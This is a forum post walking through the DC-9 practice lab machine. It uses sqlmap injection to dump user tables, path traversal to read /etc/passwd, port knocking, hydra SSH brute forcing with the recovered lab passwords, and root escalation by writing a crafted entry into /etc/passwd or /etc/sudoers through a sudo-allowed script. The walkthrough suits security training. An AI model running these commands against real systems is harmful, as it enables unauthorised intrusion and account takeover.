安全矩阵

 找回密码
 立即注册
搜索
查看: 2695|回复: 0

DC9

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-11-3 21:31:46 | 显示全部楼层 |阅读模式
DC-9

攻击 192.168.0.105
靶机 192.168.0.114
开了个80
打开网址看看
search存在sql注入

抓包sqlmap扫一下
一个库一个表一个列搜
有好多普通账号 都是进不去的
最后
sqlmap -r /1.txt -p search -D Staff -T Users --dump
密码是hash加密后的,解密一下
管理员账号:admin
管理员密码:transorbital1

管理员登录

可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含)
但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登录之后的cookies也要写上,否则网页会提示你要登录)
查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行
wfuzz指令
#-p:添加代理
wfuzz -p 127.0.0.1:8080:HTTP

-b:cookies -hw:隐藏指定字节数的结果  -w字典文件

wfuzz --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt
http://192.168.0.114/manage.php?FUZZ=index.php

尝试:
http://192.168.1.114/manage.php?file=../../../../etc/passwd

wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt
http://192.168.0.114/manage.php? ... ../../../etc/passwd
fuzz记得改为file
然后我们通过/proc/sched_debug 来查看Linux系统中任务的调度情况


整理查询发现靶机上运行这knockd
原来需要敲击完knockd提供的所有端口,然后即可打开ssh通道
那么我们读取下knocked的配置文件:

这里提供2种敲击方法:nc、nmap
for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.0.114;done
for x in 7469 8475 9842 22 ;do nc 192.168.0.114 $x;done
值得注意的是 knockd敲击每次使用结束后关门会把端口顺序反转
比如这次连接需要敲击7469 8475 9842端口,关闭就需要敲击 9842 8475 7469端口

连接ssh试试
此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的
hydra -L username -P password ssh://192.168.0.114
[22][ssh] host: 192.168.0.114 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.0.114 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.0.114 login: chandlerb password: UrAG0D!
然后我们对这几个账号都尝试进行登录
只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码
使用爆破出来的用户登录,然后查看文件ls -la(可查看隐藏目录文件),在用户janitor中发现隐藏的secrets-for-putin目录,里面含有密码passwords-found-on-post-it-notes.txt,查看后是:


增加在pass.txt后重新进行爆破: hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.0.114 ssh
多了一个fredf用户
login: fredf password: B4‐Tru3‐001
sudo -l 看这个用户可以越权执行的文件
可以看到fredf可以不用密码以root权限执行 /opt/devstuff/dist/test/test的文件


是个python文件,
可以在上级目录找到同名的 test.py 然后cat下内容

脚本的作用就是将第一个文件的内容附加到另一个文件里面去
提权:两个方法
1.构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了
使用openssl生成:
openssl passwd ‐1 ‐salt 123456 cd //-salt:自动插入一个随机数作为文件内容加密,默认选项

cd1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash
写入到tmp目录下的paswd中:
echo 'cd1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd

执行test:在/opt/devstuff/dist/test下执行(因为这里才有权限)
sudo ./test /tmp/passwd /etc/passwd(之前说过test是个可执行文件)
账号密码就是cd:cd了


值得一提的是
1.如果openssl passwd -1 -salt cd wd
这样的话 账号密码就是cd:wd
2.openssl passwd ‐1 ‐salt 123456 cd 中123456不能作为用户名,而作为随机数
导致账号密码变为cd:cd
所以使用opssl加密的话 还是i两个全英文比较好
后来看了下 其实不是这样 1的cd和2的123456都是随机数,而后面的wd和cd才是密码
而用户名是
echo 'cd1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd
的第一个cd= = 我是真的蠢
方法二:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命
随便创建/dev/shm/asd,内容如下:
joeyt ALL=(ALL) ALL //因为joeyt为已知用户
然后执行
sudo /opt/devstuff/dist/test/test /dev/shm/asd /etc/sudoers
图片如下
然后登陆joeyt,然后切换成root身份,get flag

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:48 , Processed in 0.013191 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表